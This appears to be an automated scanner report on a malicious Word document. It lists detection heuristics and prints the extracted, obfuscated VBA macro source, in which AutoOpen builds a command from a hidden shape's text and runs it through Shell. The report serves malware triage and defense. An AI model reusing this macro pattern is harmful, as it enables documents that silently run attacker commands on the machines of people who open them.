MALICIOUS
252
Risk Score
Heuristics 9
-
ClamAV: Doc.Malware.Generic-6750287-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6750287-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
vdjTNwjGG = Shell(ZTFWAwz + zTUzPS + ISSOXjDN, sUwiRoCWWnD) Dim aHhAPi, JOGEdOw, BJNEw, kkOsE -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() Dim jDOhv, AKSuuK, uZUVkJAhF, YPXai -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3685 bytes |
SHA-256: 85a00d68274d406c79a3c8636ec68e62a9589729676e4cc1533950efd04439bf |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
32 of 62 identifiers look randomly generated (e.g. 'sUwiRoCWWnD') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DWmJTwPZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function YTHiNRwPXuc()
Const sUwiRoCWWnD = 887149054 - 887149054
Dim GsjiwB, CZXRTwT, CbMFvawK, IhLVB
CZXRTwT = Len(zVAznGfV)
IhLVB = ""
For GsjiwB = 1 To CZXRTwT
IhLVB = IhLVB & (15 + ((CbMFvawK + 33) Mod 124))
If CbMFvawK >= 31 And CbMFvawK <= 79 Then
IhLVB = IhLVB & (47 + ((CbMFvawK + 25) Mod 185))
Else
IhLVB = IhLVB & (CbMFvawK)
End If
Next
zwLvY = IhLVB
ZTFWAwz = "" + HhZWQpCA + wTwfcX + Shapes("QkbALhm").TextFrame.ContainingRange + UTziEjUd + pkaOHL
Dim GzHvZab, bUFRToqk, ZoddqBnb, KIwhLmz
bUFRToqk = Len(QGhYt)
KIwhLmz = ""
For GzHvZab = 1 To bUFRToqk
KIwhLmz = KIwhLmz & (36 + ((ZoddqBnb + 30) Mod 95))
If ZoddqBnb >= 16 And ZoddqBnb <= 65 Then
KIwhLmz = KIwhLmz & (35 + ((ZoddqBnb + 13) Mod 191))
Else
KIwhLmz = KIwhLmz & (ZoddqBnb)
End If
Next
uqchX = KIwhLmz
vdjTNwjGG = Shell(ZTFWAwz + zTUzPS + ISSOXjDN, sUwiRoCWWnD)
Dim aHhAPi, JOGEdOw, BJNEw, kkOsE
JOGEdOw = Len(rdKnOBJ)
kkOsE = ""
For aHhAPi = 1 To JOGEdOw
kkOsE = kkOsE & (35 + ((BJNEw + 33) Mod 150))
If BJNEw >= 34 And BJNEw <= 99 Then
kkOsE = kkOsE & (21 + ((BJNEw + 32) Mod 61))
Else
kkOsE = kkOsE & (BJNEw)
End If
Next
fpiEV = kkOsE
End Function
Sub AutoOpen()
Dim jDOhv, AKSuuK, uZUVkJAhF, YPXai
AKSuuK = Len(sZLBHBDV)
YPXai = ""
For jDOhv = 1 To AKSuuK
YPXai = YPXai & (44 + ((uZUVkJAhF + 20) Mod 189))
If uZUVkJAhF >= 44 And uZUVkJAhF <= 83 Then
YPXai = YPXai & (14 + ((uZUVkJAhF + 21) Mod 111))
Else
YPXai = YPXai & (uZUVkJAhF)
End If
Next
iAAAjrOsw = YPXai
Dim wpRYnWi, UjJjsWw, bFwGI, fhXaizAL
UjJjsWw = Len(CnYEjz)
fhXaizAL = ""
For wpRYnWi = 1 To UjJjsWw
fhXaizAL = fhXaizAL & (31 + ((bFwGI + 22) Mod 50))
If bFwGI >= 35 And bFwGI <= 69 Then
fhXaizAL = fhXaizAL & (37 + ((bFwGI + 30) Mod 175))
Else
fhXaizAL = fhXaizAL & (bFwGI)
End If
Next
dhnmn = fhXaizAL
Dim pJjEqXT, LzfjE, pbFUVT, INVEfE
LzfjE = Len(NAJlGjz)
INVEfE = ""
For pJjEqXT = 1 To LzfjE
INVEfE = INVEfE & (21 + ((pbFUVT + 11) Mod 180))
If pbFUVT >= 18 And pbFUVT <= 74 Then
INVEfE = INVEfE & (43 + ((pbFUVT + 19) Mod 85))
Else
INVEfE = INVEfE & (pbFUVT)
End If
Next
tquZAMzC = INVEfE
YTHiNRwPXuc
Dim rMNkmGUQa, pIkXqqvdp, doCidhMV, PhmnIw
pIkXqqvdp = Len(iFFMB)
PhmnIw = ""
For rMNkmGUQa = 1 To pIkXqqvdp
PhmnIw = PhmnIw & (19 + ((doCidhMV + 30) Mod 105))
If doCidhMV >= 32 And doCidhMV <= 64 Then
PhmnIw = PhmnIw & (18 + ((doCidhMV + 15) Mod 198))
Else
PhmnIw = PhmnIw & (doCidhMV)
End If
Next
jKmLSCKiH = PhmnIw
Dim NKkBNri, JRGvTRS, roOIm, VIGRARNY
JRGvTRS = Len(AaDrVPiD)
VIGRARNY = ""
For NKkBNri = 1 To JRGvTRS
VIGRARNY = VIGRARNY & (37 + ((roOIm + 49) Mod 53))
If roOIm >= 11 And roOIm <= 94 Then
VIGRARNY = VIGRARNY & (23 + ((roOIm + 40) Mod 101))
Else
VIGRARNY = VIGRARNY & (roOIm)
End If
Next
vwoEiboc = VIGRARNY
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.